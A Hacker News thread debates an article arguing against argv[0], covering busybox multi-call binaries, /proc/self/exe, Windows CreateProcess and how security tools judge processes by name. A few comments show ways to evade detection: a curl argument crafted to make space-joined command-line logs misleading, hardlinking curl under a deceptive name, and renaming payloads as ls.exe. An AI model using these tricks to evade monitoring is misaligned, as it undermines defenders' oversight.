[HN Gopher] Why bother with argv[0]?
       ___________________________________________________________________
        
       Why bother with argv[0]?
        
       Author : wietze
       Score  : 173 points
       Date   : 2024-09-03 12:30 UTC (10 hours ago)
        
 (HTM) web link (www.wietzebeukema.nl)
 (TXT) w3m dump (www.wietzebeukema.nl)
        
       | guappa wrote:
       | Wait until he finds out about busybox!
       | 
       | Also claiming that the windows API to call a new process is
       | good... wow... I guess he's never had to pass a filename with
       | quotes and spaces in its name. The API expects you to do the
       | escaping yourself. Yes it needs to be escaped, because it's all
       | one single string.
        
         | pjc50 wrote:
         | There are a number of good things about CreateProcess, but
         | argument passing is not one of them. It's a very longstanding
         | misfeature in the design of CMD.EXE and almost certainly dates
         | from MSDOS and therefore CP/M.
         | 
         | A side effect of that is that programs do their own
         | _unescaping_. Unix users who are used to quotes being stripped
         | for them may be surprised by this.
        
           | timrobinson333 wrote:
           | Many windows programmers fail to appreciate this. If you're
           | using a language that provides argv-style functionality, the
           | quoting and escaping mechanism is entirely at the mercy of
           | that language, so you can't reliably make any general
           | assumptions about how to quote parameters to a command line
        
       | avidiax wrote:
       | It is sometimes used to allow one binary to be the symlink target
       | of hundreds of commands.
       | 
       | Android does this for most common shell commands. Toybox and
       | busybox are examples of such implementations.
       | 
       | https://github.com/landley/toybox
       | 
       | https://en.m.wikipedia.org/wiki/BusyBox
        
         | mistercow wrote:
         | Also if you want a program to call itself, which is sometimes
         | useful, this way lets you actually call the same program,
         | rather than assuming the name and path.
        
           | akira2501 wrote:
           | Beware TOC TOU problems when doing this.
        
           | fallingsquirrel wrote:
           | You can do this without assuming the name by execing
           | /proc/$PID/exe. Then you're not vulnerable to the argv[0]
           | spoofing described in the article. (But of course since
           | argv[0] does exist, you should set it properly and pass
           | through your own argv[0] unchanged.)
        
             | dpassens wrote:
             | That's not portable, though. OpenBSD, for example, doesn't
             | have /proc.
        
             | hnlmorg wrote:
             | That's Linux only. Wouldn't even work on macOS, which would
             | likely be a significant number of your users.
        
           | duped wrote:
           | Don't do this - if you (reliably) want the path to the
           | current executable there is no portable way to do it, but on
           | Linux you need to readlink /proc/self/exe and on MacOS you
           | call _NSGetExecutablePath. I forget the API on Windows.
        
             | flohofwoe wrote:
             | There's also this very handy and tiny cross-platform
             | library:
             | 
             | https://github.com/gpakosz/whereami
        
             | theamk wrote:
             | I would not say it in such absolute way - /proc/self/exe
             | has downsides as well. As this resolves all symlinks, so
             | this breaks all the things that depend on argv[0], like
             | nice help messages, python's virtualenv, name-based
             | dispatch, and seeing if the program which was executed via
             | symlink or not.
             | 
             | A lot of times you know you never called chdir(), in which
             | case I'd actually recommend executing argv[0], as this is
             | nicest thing for admins. If you are really worried, you can
             | use /proc/self/exe for progname and pass argv[0] as-is, but
             | that's overkill a lot of times.
        
               | mbrumlow wrote:
               | I think you forget the exec system call's first argument
               | is a path to an executable, followed by an array of
               | arguments, where arg[0] lives.
               | 
               | I can't find issue with exec("/proc/self/exe", [ program
               | , ... ).
        
               | alerighi wrote:
               | Well, it could be for example that /proc is not mounted.
               | A lot of software breaks for this, while really there is
               | no need for it to be so. Also that approach only works on
               | Linux, if you want to write a portable software what you
               | do?
        
               | mbrumlow wrote:
               | I am mainly pointing out that arg[0] is still valid.
               | Writing portable software is an entirely different topic.
        
               | duped wrote:
               | Those are all cases where you're using argv[0] as an
               | argument to the program where it's appropriate. Using it
               | as the path to spawn a child process is _incorrect_. You
               | 're free to re-use it as an argument.
               | 
               | I have fixed enough software that made this mistake that
               | I'm confident to be absolute about it. It's a very easy
               | mistake to make but it's really annoying when software
               | makes it and someone needs to deal with it at a higher
               | level. It's better for developers to know that argv[0]
               | isn't the path to the executable it's what was used to
               | invoke the executable.
        
               | vlovich123 wrote:
               | What's the issue with using argv[0] as a way to spawn
               | yourself? I don't recall running into a lot of issues.
        
               | duped wrote:
               | If it's a relative path, then changing the working
               | directory will break (chdir("/") is a very common tactic
               | at the top of main()).
               | 
               | It's possible/desirable for the parent to change the PATH
               | of a child process, particularly one that spawns other
               | processes. So the argv[0] used to spawn the original
               | process may be garbage for spawning children.
               | 
               | Similarly in any kind of chroot jail (which may or may
               | not be docker these days), relative paths and PATH can be
               | garbage even if they don't change.
               | 
               | The real problem is that I've seen in-house and open
               | source frameworks/libraries that have a function like
               | `get_executable_path` that reads `argv[0]` and this is
               | just incorrect behavior. Spawning yourself is one of the
               | less risky things you can do, but there are gotchas _and_
               | a way to avoid them!
        
               | vlovich123 wrote:
               | Hmm... I generally have so many issues with chdir (e.g.
               | someone gives you a relative path to a file you need to
               | read and now that's screwed up because you did a previous
               | chdir) that I just avoid all use of it in the first
               | place.
               | 
               | Generally don't run into chroot all that often these days
               | & docker gives you a fully virtualized environment where
               | if a relative path is garbage then you may have other
               | problems too (e.g. given relative paths to files). You
               | certainly have to be careful around chroot / docker
               | anyway as I think resolving /proc/self/exe probably is
               | dangerous too for all the same reasons and you need to be
               | careful to use the literal "/proc/self/exe" string for
               | the spawn command and also require that /proc is mounted
               | and remember to pass through argv[0] unmolested (or
               | mutating as needed depending on use-case).
               | 
               | There's enough corner cases that I'd hesitate given
               | blanket advice as it requires knowing your actual
               | execution environment to a degree that there's lots of
               | valid choices that aren't outright "wrong". And some
               | software may be portable where argv[0] is a fine choice
               | that works 90% of the time without worrying about
               | maintaining a better solution on Linux.
        
               | duped wrote:
               | It's very common for daemons/servers to chdir("/") at the
               | top of main. Relative paths sent by clients getting
               | broken is a feature, not a bug. (In fact I just fixed a
               | bug related to this an hour ago because a relative path
               | was not being canonicalized before being passed to the
               | daemon I'm working on and it caused a file to be written
               | to the wrong place).
               | 
               | There's no way create a process such that /proc/self/exe
               | is incorrect except if the process itself performs a
               | chroot, or someone has overwritten what it points to. I'm
               | talking about some other program running the process
               | where those challenges don't show up.
               | 
               | > . And some software may be portable where argv[0] is a
               | fine choice that works 90% of the time without worrying
               | about maintaining a better solution on Linux
               | 
               | Except it's broken on MacOS and Windows, too!
               | 
               | I'm pretty confident saying that if you want to get the
               | path to an executable, use the bespoke method for your
               | platform because it ain't argv[0]. I have seen that
               | codepath break so many times that there should just be a
               | standard library method for it (and there often is,
               | depending), and I have written this function at several
               | companies.
               | 
               | There are not any edge cases that I'm aware of, except
               | for a few esoteric ones. But there are quite a few edge
               | cases for using argv[0], they exist on all platforms, and
               | it's very annoying for people that have to fix or work
               | around it because a software author didn't understand
               | what argv[0] was.
        
             | sweetjuly wrote:
             | Note though that both of these solutions are racy and so
             | should not be done if "someone symlinking really fast and
             | swapping the binaries" is in your threat model. Linux
             | proc/self is safe though, just not the result from
             | readlink.
        
               | duped wrote:
               | Well that's true, but also something that can't be
               | addressed within a currently running process afaik.
        
             | ForOldHack wrote:
             | Four cardinal sins of programming: 1. Self modifying code.
             | ( The word 'recalcitrant' comes to mind. 2. calling your
             | own program to execute itself. 3. Interrupting the flow of
             | control with a jump. 4. Non-graceful exit. 5. Renaming
             | 'hack' as 'vi' or 'ps'
        
           | SoftTalker wrote:
           | There's no guarantee that the name and the path are still the
           | same executable that is running, or that they even exist
           | anymore.
        
             | mistercow wrote:
             | I mean sure. All software is built on assumptions. Make
             | sure the assumptions you're making are appropriate in
             | context.
        
             | wang_li wrote:
             | In most of the variants of exec*() there are separate
             | arguments for the thing to be executed and the *argv[]
             | list. Argv[0] being the executable is just a convention. In
             | perl $ARGV[0] is the first positional parameter. In
             | $ perl myscript.pl a b c
             | 
             | $ARGV[0] is "a".
        
             | wongarsu wrote:
             | Unless you are on Windows
        
               | glandium wrote:
               | You can actually rename an executable that is running, on
               | Windows. That's a way to handle self updates: rename the
               | executable, create its replacement, execute the new one
               | to make it remove the old executable.
        
         | cubist_castle wrote:
         | I just learned that rustup/rustc/cargo etc. work like this too.
         | I couldn't understand why the gentoo formula was symlinking the
         | same binary to a bunch of aliases.
        
           | kbolino wrote:
           | On my system, these are hardlinks (regular files with a link
           | count >1 and the same inode) rather than symlinks, though I'm
           | not sure why.
        
             | mostthingsweb wrote:
             | Maybe to avoid broken links if you move the original files?
             | That's the main benefit of hardlinks vs symlinks in my mind
             | at least.
        
               | actionfromafar wrote:
               | That can also be a downside, you believe you have moved
               | stuff but now you can have different versions of programs
               | that don't expect that to be a possibility.
        
               | ForOldHack wrote:
               | If there is a simlink, a hardlink and an executable, all
               | with the same name, which one will it run? Which one will
               | the shell object to? Which one should the shell object
               | to. If a virus/SUID program overwrites a simlink, no
               | problem, but ift it traces the simlink to the executable,
               | and then over writes that...
        
           | duped wrote:
           | clang does this too.
        
           | alerighi wrote:
           | And that makes a lot of sense, especially for binaries that
           | are statically linked (as usually are Rust binaries), since
           | that could save a lot of disk space!
        
         | layer8 wrote:
         | The article discusses this.
        
         | hi-v-rocknroll wrote:
         | coreutils-static did this too. The advantage of shared
         | libraries and multiple-use single static binaries is they're
         | only loaded once.
        
       | kelsey98765431 wrote:
       | This is how busybox works in 'shim' mode. I am not however
       | concerned with the security argument here, if you have the
       | ability to run code you have the ability to do n to the power of
       | x insidious things, and arg[0] abuse is just one of dozens,
       | (hundreds?) of vectors or useful building blocks in an attack. if
       | we are suddenly giving a shit about security on nixens, we should
       | be looking at deeper SELinux rollouts (ease of use for sysadmins
       | and maintainers so we never see permissive mode instead of just
       | applying the difficult to remember command that will patch your
       | policy settings. We need root capabilities to continue to be
       | separated in the kernel access control scheme and probably we
       | need to start using namespaces much more liberally like projects
       | like silverblue/bluefin which reimplement entire os stack as a
       | series of containers. Stronger container foundations and ease of
       | use for existing security mechanisms will take us much further
       | than worrying about ANYTHING else in the ABI which by the way
       | will never change as long as linus is alive, and he will live on
       | forever as an LLM most likely with the amount of mailing list
       | posts he has made over the years.
        
       | josefx wrote:
       | Microsoft defender using broken by design detection rules? One
       | could almost think it is an anti virus program.
        
       | JohnFen wrote:
       | > Today however, disk space is no longer considered an issue
       | 
       | On desktop machines, perhaps, but this is certainly not true on
       | all platforms Linux runs on.
        
         | Suppafly wrote:
         | Plus the whole "space is not an issue" thing along with "you
         | can just add more ram" is the reason everything is so bloated
         | and slow even on well provisioned machines.
        
           | Sohcahtoa82 wrote:
           | These days, Windows Calculator takes up more memory than
           | mIRC.
           | 
           | Tell me why a simple calculator app needs more memory than a
           | complete multi-server implementation of the IRC protocol
           | (including SSL/TLS), not to mention a full scripting engine.
        
             | Suppafly wrote:
             | >These days, Windows Calculator takes up more memory than
             | mIRC.
             | 
             | I'd be somewhat surprised if that's actually true, but I
             | haven't used mirc for years (started using hexchat once I
             | was honest about the fact that I wasn't going to pay for
             | mirc) but I think a lot of that is an inherent part of
             | windows development now, basic c# projects with graphics
             | end up being pretty big.
             | 
             | Interestingly enough, the new windows calculator is mit
             | licensed and on github. But also it has a lot more features
             | than most people think, it's not a 'simple calculator app',
             | it's a full featured graphing calculator even if most
             | people don't use those features.
        
               | Sohcahtoa82 wrote:
               | > I'd be somewhat surprised if that's actually true
               | 
               | It 100% is.
               | 
               | I launched Calculator and according to the Processes tab
               | in Task Manager, "Calculator" is using 31.2 MB of memory,
               | and mIRC is taking 17.2 MB. That's with Calculator being
               | freshly launched and no input given, compared to mIRC
               | being connected to 1 server and in 8 channels.
               | 
               | If I go to the Details tab, then the story it tells is
               | even worse. I include several metrics here:
               | 
               | Working Set: - Calculator: 91 MB - mIRC: 40 MB
               | 
               | Memory (private working set): - Calculator: 30 MB - mIRC:
               | 18 MB
               | 
               | Memory (shared working set): - Calculator: 61 MB - mIRC:
               | 23 MB
               | 
               | Commit size: - Calculator: 67 MB - mIRC: 49 MB
               | 
               | By basically every metric, mIRC uses less memory than
               | Calculator.
               | 
               | > it's not a 'simple calculator app', it's a full
               | featured graphing calculator even if most people don't
               | use those features.
               | 
               | The only feature that should significantly impact the
               | memory usage is the graphing. All its little measurement
               | conversion options shouldn't take more than a few
               | kilobytes. But even with the graphing, it's absurd that
               | it takes more memory than the total memory I would have
               | had in a 486 machine that could easily have run an app
               | with the same features.
               | 
               | > but I think a lot of that is an inherent part of
               | windows development now, basic c# projects with graphics
               | end up being pretty big.
               | 
               | I suppose the price you pay for almost guaranteed memory
               | safety and ease of development through abstractions means
               | your base executable memory footprint includes an entire
               | language runtime.
        
               | neonsunset wrote:
               | > I suppose the price you pay for almost guaranteed
               | memory safety and ease of development through
               | abstractions means your base executable memory footprint
               | includes an entire language runtime.
               | 
               | Surprisingly enough memory safety does not come with
               | extra memory usage. Even GC itself is not incompatible
               | with low RAM footprints even with steady allocation rate
               | as can be seen with both .NET GC configurations and
               | Golang.
               | 
               | One source of _base_ RAM footprint is the presence of JIT
               | compiler - JITing, profiling, then JITing again all those
               | methods is not free, and requires more memory pages, page
               | remapping and additional logic in memory.
               | 
               | It's not impactful and is desirable due to JIT advantages
               | on long-running and complex (often server) applications
               | but is noticeable on something like a Calculator app.
               | 
               | Another source of memory usage is the choices taken by a
               | particular GUI framework - this is by far the biggest
               | contributor of memory use. Quite a lot of them take very
               | heavy-handed, WPF-inspired approach. There is nothing
               | inherently wrong with it, but as was demonstrated with
               | very fast and lightweight immediate mode GUI frameworks
               | like Egui, there is a different way to this. I'm looking
               | forward to putting https://www.pangui.io through its
               | paces whenever it releases, or anything that is even
               | remotely like this and is pure C#.
               | 
               | The Calculator itself seems to use quite a bit of C++
               | code, I have not profiled it, but I can promise you if
               | you write two implementations of an identical ImGUI-based
               | application with idiomatic constructs of C and C#, the
               | memory footprint will be much closer than you think (for
               | an AOT compiled C# version), maybe within ~5-15MiB delta
               | of RAM once you start adding logic and allocating but
               | unlikely much more. There is no inherent limitation
               | within the language and GC themselves that would prevent
               | that from being possible.
        
         | Hizonner wrote:
         | No, not on desktop machines either. Executables these days can
         | be enormous.
         | 
         | The author's just dumb.
        
         | citrin_ru wrote:
         | SSD relatively recently were not so big (compare to HDD with
         | comparable price) and space is an issue on not so new desktops.
         | I don't want to upgrade a notebook only because someone thinks
         | that disk space is not an issue.
         | 
         | But of course this much more of an issue for embedded platforms
         | like routers with OpenWRT.
        
       | keepamovin wrote:
       | This is why we can't have nice things. Security footguns
       | everywhere!
       | 
       | I'm fascinated by the intersection of argv[0], and the execve
       | behavior of replacing the calling program with the called one.
       | 
       | Aside from that, I quite like argv[0], for a much more limited
       | set of reasons than considered in this interesting and
       | comprehensive article. I like the ability to "retitle" a process
       | to put a useful, descriptive, or branded name in there to be seen
       | by ps, et al.
       | 
       | NodeJS also exposes this feature, but not quite as you might
       | expect. Whereas in C, setting argv[0] from within the program's
       | execution context will alter what is observed by ps, in NodeJS
       | process.argv is just a descriptive getter. Setting its slots has
       | no effect outside of its context.
       | 
       | But this is where process.title steps in. Setting process.title
       | allows you to (in an OS-dependent way) change the name reported
       | in ps and similar tools.
       | 
       | Read more here: https://nodejs.org/api/process.html#processtitle
       | 
       | Please don't kill argv[0], its lease hath all too short a date
        
         | kelsey98765431 wrote:
         | Your fascination is rewarded by reading the other man sections
         | such as section three:
         | 
         | https://linux.die.net/man/3/execve
         | 
         | If you already know about the additional man pages beyond user
         | space, i cannot more strongly recommend diving into them.
         | Additionally the gnu 'info coreutils' is a good place to start,
         | as well as the glibc manual.
        
       | andrewmcwatters wrote:
       | I wish amateurs would stop propagating the false idea that disk
       | space and memory are cheap and not a problem.
        
       | dotancohen wrote:
       | I also use argv[0] for the -h help text, to show examples how to
       | use the command.
        
         | anonymousiam wrote:
         | I've done this too, but you should remove the path elements
         | from the argv[0] string before you include it in your
         | error/help messages.
        
           | jmholla wrote:
           | You don't need to. Keeping them shows the user exactly how to
           | call the program based on how they called it.
        
           | Brian_K_White wrote:
           | Sometimes you want it, sometimes you don't, so it needs to be
           | in there, and _sometimes_ you remove it yourself _if_ your
           | context of the moment doesn 't want it.
           | 
           | And neither the want-it nor the don't-want-it case is such an
           | outlier that you can disregard and not serve that case.
           | 
           | Sometimes you're talking to the user about general usage and
           | the full path is a distracting detail and not the important
           | part of the message.
           | 
           | Sometimes the full path and truthful invoked filename are an
           | unnecessary security disclosure like telling a web viewer
           | details about the server.
           | 
           | Sometimes the full path and truthful invoked filename is a
           | necessary fact in debugging, or in errors, or even ordinary
           | non-error logs that aren't public.
        
         | st_goliath wrote:
         | There is also a neat little BSD extension, also supported on a
         | number of other Unix-like systems and GNU userspace (i.e.
         | glibc, but also other libcs like Musl):
         | extern char *__progname;
         | 
         | which holds the program name without the (optional) invocation
         | path in front of it. Basically the last path component of
         | argv[0].
        
           | dotancohen wrote:
           | Nice, thank you.
        
           | Brian_K_White wrote:
           | wattttt? nice thank you
        
         | patrickmay wrote:
         | Same here, as well as for showing an example invocation when
         | the user fails to include a required argument.
        
       | dcminter wrote:
       | This lost me at "goes against modern design principles" without
       | citing _what_ principle(s) the author had in mind that would
       | proscribe it.
        
         | st_goliath wrote:
         | Given the tone and assumptions the article makes, and the
         | things that are _explicitly_ explained, this seems to be one of
         | those articles where a novice learnt something new and then
         | decided to write an article about it, despite not having fully
         | grasped the concept yet.
         | 
         | As a result, the author has such strange, _absolute_ positions,
         | calling it a legacy that should be abolished (only tangentially
         | knowing some _actual_ use cases), or that strange quote about
         | design principles.
         | 
         | Despite all the talk about security, the whole debacle that
         | argc can be 0 (and argv[0] can be NULL), is completely left
         | aside. This has caused _actual_ security issues quite
         | recently[1].
         | 
         | [1] https://lwn.net/Articles/882799/
        
           | gwbas1c wrote:
           | The security issues the author points out later in the
           | article do have merit.
           | 
           | Unfortunately, the author shot their credibility in the foot
           | by perseverating on use of argv[0]; instead of glossing over
           | it and _getting to the point_.
        
         | hiccuphippo wrote:
         | I would guess the modern principle of disregard for disk space
         | or memory usage :(
        
         | astrobe_ wrote:
         | the Modern principle prescribe that one should never use
         | software that's older than yourself. Some cults even prescribe
         | that that one should not use a framework longer than you would
         | wear a pair of socks.
        
       | skobes wrote:
       | "Windows' own API calls for creating new processes (such as
       | CreateProcess [6], ShellExecute [7]) do not allow you to set
       | argv[0]: it sets it for you, based on how the path to the
       | executable was provided."
       | 
       | Isn't this contradicted by the docs? CreateProcess receives
       | lpApplicationName and lpCommandLine, and they can be different.
        
         | magicalhippo wrote:
         | Not the way I understand it. In the execv documentation[1], you
         | pass the program name twice:
         | 
         |  _int execv(const char *path, char *const argv[]);_
         | 
         |  _The argument path points to a pathname that identifies the
         | new process image file._
         | 
         |  _The argument argv is an array of character pointers to null-
         | terminated strings. [..] The value in argv[0] should point to a
         | filename string that is associated with the process being
         | started by one of the exec functions._
         | 
         | Windows does not allow you to do that, AFAIK.
         | 
         | [1]:
         | https://pubs.opengroup.org/onlinepubs/9699919799/functions/e...
        
           | skobes wrote:
           | > Windows does not allow you to do that, AFAIK.
           | 
           | It does though, using the lpCommandLine parameter to
           | CreateProcess as I said.
           | 
           | CreateProcess("main.exe", "foobar", ...)
           | 
           | argv[0] is "foobar"
        
             | magicalhippo wrote:
             | I stand corrected. Been ages since I used Win32 API a lot,
             | and I realized I can't recall using both of those arguments
             | when calling CreateProcess.
        
         | DSMan195276 wrote:
         | Yeah they have this incorrect. if you provide
         | `lpApplicationName` and `lpCommandLine` then the application
         | name is not automatically added to the command line string, you
         | have to add it yourself to the string provided as
         | `lpCommandLine`. I checked and the docs for `CreateProcess`
         | briefly mention this issue:
         | 
         | > If both lpApplicationName and lpCommandLine are non-NULL, the
         | null-terminated string pointed to by lpApplicationName
         | specifies the module to execute, and the null-terminated string
         | pointed to by lpCommandLine specifies the command line. The new
         | process can use GetCommandLine to retrieve the entire command
         | line. Console processes written in C can use the argc and argv
         | arguments to parse the command line. _Because argv[0] is the
         | module name, C programmers generally repeat the module name as
         | the first token in the command line._
        
       | mannyv wrote:
       | "Remember, the safest computer is one that's turned off and
       | unplugged."
        
       | lanstin wrote:
       | This article seems to be an example of how some common security
       | practices are kind of surface level. If you want to limit what a
       | box can access on the network, do it in the network. Why is
       | security looking for bad urls in the argv; if you know they are
       | bad just block them? Or better yet if they aren't good, don't
       | allow them. And if you want to know what a process is doing, ask
       | the kernel to log its syscalls. If you take away argv 0 you will
       | lose some valuable stuff (cute little busybox links, error logs
       | that have argv[0] in them, and attackers will just name
       | payload.exe ls.exe. And if your network is allow all, they will
       | still reach CNC or collector end point.
        
         | dividuum wrote:
         | Seriously: Their reason is basically "argv[0] is bad because
         | security snake oil software is garbage":
         | 
         | 1) Oh no, the only protection is looking at argv[0]. What kind
         | of clown software is that? Software that notably runs on an
         | already compromised system..
         | 
         | 2) No need for argv[0] to fool software that concats argv
         | values with spaces: just run 'curl -o "test.txt |grep" 1.1.1.1'
         | 
         | 3) A long argument messes up telemetry? Let's hope that bucket
         | doesn't have more holes.
        
           | shermantanktop wrote:
           | These are all very realistic examples. Should they happen?
           | No, but reality is messy and imperfect. The crappy software
           | you describe would not exist if there were great solutions in
           | this space.
        
             | Hizonner wrote:
             | There are better solutions than _that_. Off the top of my
             | head, on Linux, you could get what the article is asking
             | for by doing a readlink on  /proc/self/exe.
             | 
             | The crappy software exists because the people who write it
             | don't have any idea what they're doing. And the reason for
             | that is that the people who found companies in the security
             | space have discovered that nobody can tell whether their
             | products really work or not, so they can save money on
             | talent and training.
        
             | marcosdumay wrote:
             | Yes, they are realistic. No you shouldn't change your
             | system to satisfy clown development dynamics.
             | 
             | And just as a warning, if you insist on doing so, the rules
             | will get ever more complicated. Expect to not be able to
             | achieve anything at all very soon.
        
               | shermantanktop wrote:
               | If Crowdstrike is an example, then that's not true.
               | Instead, success is not gated by rule quality, and you
               | can get to global scale without a signal as to whether
               | your rules are actually good or effective. And then
               | someone publishes a new template and boom, Delta grounds
               | their planes for days.
        
       | tantalor wrote:
       | The name of something is not an intrinsic property.
        
         | barelyauser wrote:
         | Can something posses extrinsic properties? Or are them a
         | intrinsic property of external things?
        
           | samatman wrote:
           | Yes.
           | 
           | Not only is there a Wikipedia article on it, there's more
           | than one.
           | 
           | Here's the one covering science and engineering, which is the
           | appropriate version for this discussion.
           | 
           | https://en.wikipedia.org/wiki/Intrinsic_and_extrinsic_proper.
           | ..
        
       | travisgriggs wrote:
       | > "Should a program be allowed to behave differently based on its
       | name?"
       | 
       | I don't see why not. It's allowed to behave differently based on
       | the arguments that follow it. I personally think the genericity
       | of including the program name itself as one of its own calling
       | arguments is really meta cool.
        
         | MPSimmons wrote:
         | If not, then busybox is going to need to change a TON
        
         | shermantanktop wrote:
         | It's the equivalent of the HTTP Host header, with similar
         | utility. But I agree with the author that an OS provided
         | trustable structure is a much better way.
        
           | marcosdumay wrote:
           | > an OS provided trustable structure
           | 
           | Repeating the OP, your program takes every other parameter
           | from the caller, why do you insist on the executable name to
           | not be set by him too?
           | 
           | Windows defender is the one that is stupid by using it. Every
           | OS has the real executable name in some place, security
           | software should look there instead.
        
         | dataflow wrote:
         | > I don't see why not. It's allowed to behave differently based
         | on the arguments that follow it.
         | 
         | That's missing the point, I think.
         | 
         | The real question here is, is the name of a program really an
         | argument to the program, from the _user 's_ perspective? I
         | certainly don't blame users that disagree. It's more difficult
         | for them to change argv[0], and the fact that this is possible
         | is not necessarily obvious to them, nor to _their_ users.
         | 
         | If it helps, think of it like this: imagine the file timestamp
         | was similarly passed as argv[-1]. And that the file inode
         | number was passed as argv[-2]. Would it make sense to change
         | behavior on those too?
        
           | sokoloff wrote:
           | > is the name of a program really an argument to the program,
           | from the user's perspective?
           | 
           | When I use busybox [invisibly to me], I sure care that it
           | knows whether I called it as "ls" or as "rm" and that it does
           | the operation that I asked it to do.
        
         | SoftTalker wrote:
         | One other historical reason for this (also the reason that
         | older unix utilities tend to have such short names) is that
         | people often interacted with unix machines over slow terminals
         | or even paper teletypes. Typing "rm" instead of "remove" or
         | "reboot" instead of "systemctl --reboot" was legitimately more
         | convenient.
        
           | Arch-TK wrote:
           | I mean, it's still more convenient to type `rm` rather than
           | `Remove-Item` when doing day-to-day computer tasks on your
           | computer (yes I'm one of those people who lives in a
           | terminal).
           | 
           | It's also certainly better from a readability standpoint to
           | have `Remove-Item` rather than `rm` in a script.
           | 
           | Likewise, I would much rather type `ls -Al` rather than `ls
           | --almost-all --long-listing` (N.B. --long-listing is not the
           | long option for -l, -l has no long option, I just made up an
           | appropriate name) when listing a directory but would probably
           | appreciate the long form in a script.
           | 
           | I think just like we have long options and short options, it
           | would be helpful to have long commands and short commands.
        
           | ForOldHack wrote:
           | As someone who started on ASR-33s. I have empathy for Mr
           | Ritchie and Mr Kernigan.
           | 
           | After all, its 50% faster to type a two letter acronym, than
           | a TLA.
           | 
           | https://media.wired.com/photos/59327efdf682204f73696446/mast.
           | ..
           | 
           | /e
        
         | dheera wrote:
         | There are also multiple reasons for a program to read its own
         | executable.
         | 
         | - Decompressing and inflating a compressed binary block with a
         | generic decompressor at the top (e.g. a bash or python script
         | with a binary blob at the end)
         | 
         | - Checksumming its own executable (skipping the checksum
         | string) to resist virus infection. Not bulletproof but viruses
         | aren't usually smart enough to circumvent this
        
         | strawhatguy wrote:
         | Yes, this is useful for backwards compat too, like bash with an
         | 'sh' mode.
        
       | omphaloskeptic wrote:
       | Also, on POSIX systems, exec-ing a program with argv[0] starting
       | with '-' will have it start as a login shell, which is a whole
       | rabbit hole of its own. I'm sure it's within the security model
       | (and the linked article doesn't really discuss the concept of OS
       | security models), but it's still a pretty big shift in behaviour
       | just from adding a character to the argv[0] value
        
         | fanf2 wrote:
         | No, that's a property of how shells interpret argv[0], not a
         | property of exec()
        
       | theamk wrote:
       | That's a weird take against argv[0] - all arguments are: "goes
       | against modern design principles" and "can confuse programs which
       | use argv[0] when they wanted "exec" instead"
       | 
       | For the former, I don't see how this goes against modern
       | principles - in presence of symlinks, it is pretty reasonable to
       | want to know both "how was this program called", as well as
       | "what's the actual executable we ended up with". And this does
       | more than just giving multiple names to same program - for
       | example python uses argv[0] to tell if it's inside virtualenv and
       | adjust search paths accordingly. This makes it appear like there
       | are multiple python installs on system, with no extra disk space
       | taken.
       | 
       | For the latter, yes, programs can have bugs and OSes can have
       | non-obvious semantics, and if you are security software, it's
       | very important to be aware about them. I would not mark "argv[0]"
       | as something especially bad from security perspective. All the
       | author's examples would still be possible in hypothetical world
       | where argv[0] is set by system - as nothing stops user from
       | creating a symlink in temporary dir with deceiving name (spaces
       | and quotes are OK in filenames!) and exec'ing it directly.
       | Instead, fix your security software so it quotes argv values?
        
         | wietze wrote:
         | From a living-of-the-land perspective, having to
         | symlink/hardlink/alias a command is much noisier - and thus
         | easier to detect. So although you are right in saying it
         | wouldn't completely solve the problem, making it a system
         | responsibility would still significantly reduce the scope for
         | abuse.
        
         | cedilla wrote:
         | > all arguments are: "goes against modern design principles"
         | 
         | And the key witness is systemd, which is too young to buy a
         | beer - even in Germany.
        
       | KingOfCoders wrote:
       | I use argv[0] to monitor the binary by itself and restart when it
       | has changed.
        
         | actionfromafar wrote:
         | How? Checking and storing a checksum, or just file change
         | metadata?
        
           | marcosdumay wrote:
           | Well, I'm not the GP , but probably with OS file change
           | monitoring API, that changes for each OS but the maintream
           | ones all have some.
        
       | yjftsjthsd-h wrote:
       | So obviously claiming that there's no good reason for process to
       | read argv[0] is either demonstrating the author's ignorance or
       | needs a much stronger defense; I'd be fascinated to hear how they
       | think busybox _should_ work on an OpenWrt box with a 16MB root
       | filesystem.
       | 
       |  _However_ , I am willing to consider the discussion about
       | whether there could be merit to restricting the ability to
       | _write_ that value; I could imagine a system that populated it
       | only from the actual file name and did not allow it to be written
       | by the parent process or the child process at runtime. The
       | obvious place this still falls apart is that an attacker could
       | just                   ln /bin/curl ./some\ other\ name
       | 
       | but there are sometimes security measures that we use even though
       | they're less than 100% effective so it at least conceivable that
       | this might be a trade off worth making.
        
         | wietze wrote:
         | For busybox/toybox the argv[0] thing is great, and seems to be
         | the prime example of why argv[0] shouldn't go - yet it is a bit
         | of an anomaly in how argv[0] is used.
         | 
         | If there really is a need for having one executable that
         | comprises multiple commands, is `busybox whoami` instead of
         | `whoami` so much more effort? To me, that would make more sense
         | in terms of what is going on; aliases could be used if one-word
         | commands are preferred. In most non busybox contexts, argv[0]
         | is just an unnecessary addition that, as the linked article
         | shows, can introduce weirdness.
         | 
         | It's clear from the comments there are still many who think
         | argv[0] is a good thing, which is great - I'm glad the post
         | sparked this debate.
        
           | hinkley wrote:
           | I think you're both forgetting that bash has been using this
           | trick for decades.
           | 
           | Bash has an sh compatibility mode that runs when you invoke
           | it as sh.
        
           | epcoa wrote:
           | https://pubs.opengroup.org/onlinepubs/9699919799/
           | 
           | You appear not to realize that busybox is an essential
           | component of a POSIX like system.
        
           | mbrumlow wrote:
           | Yes. Anybody who has shipped software would say.
           | 
           | I really don't think it is a debate. The usage of arg[0] is
           | massively understated by the article. Just go look at gcc or
           | any modern day compiler. Its use so much that the conversion
           | of should we has been hashes out by many different groups yet
           | they still chose to implement it.
           | 
           | The security concerns are a non issue. As arg[0] was not the
           | problem. It was the lack of technical knowledge of how
           | systems work and a flaw in the security application.
        
           | blenderob wrote:
           | > is `busybox whoami` instead of `whoami` so much more
           | effort?
           | 
           | It's not the "more effort" that is the deal breaker here. It
           | is a matter of compliance with specs and user expectations.
           | What you're suggesting would make Busybox very non-POSIXy,
           | very non-Unixy. All scripts written over the last many
           | decades would need to be updated to call `busybox ls` instead
           | of `ls`? How is that a viable solution?
           | 
           | > I'm glad the post sparked this debate.
           | 
           | This is a very strange way to deflect concerns about quality
           | of the article!
        
             | gary_0 wrote:
             | Yeah. The whole point of busybox is to provide the POSIX
             | commands in one compact executable. Making things work any
             | other way defeats the entire purpose of busybox.
        
               | adw wrote:
               | In other words: `busybox` is primarily an implementation
               | of a _standard library_ and only secondarily a command
               | line tool, so it _must_ use the standard names.
        
           | sltkr wrote:
           | `busybox whoami` is probably fine, but having to write
           | `busybox ls`, `busybox grep`, `busybox cp` etc. would get
           | tedious quickly.
           | 
           | Shell aliases don't solve all problems, even if you do:
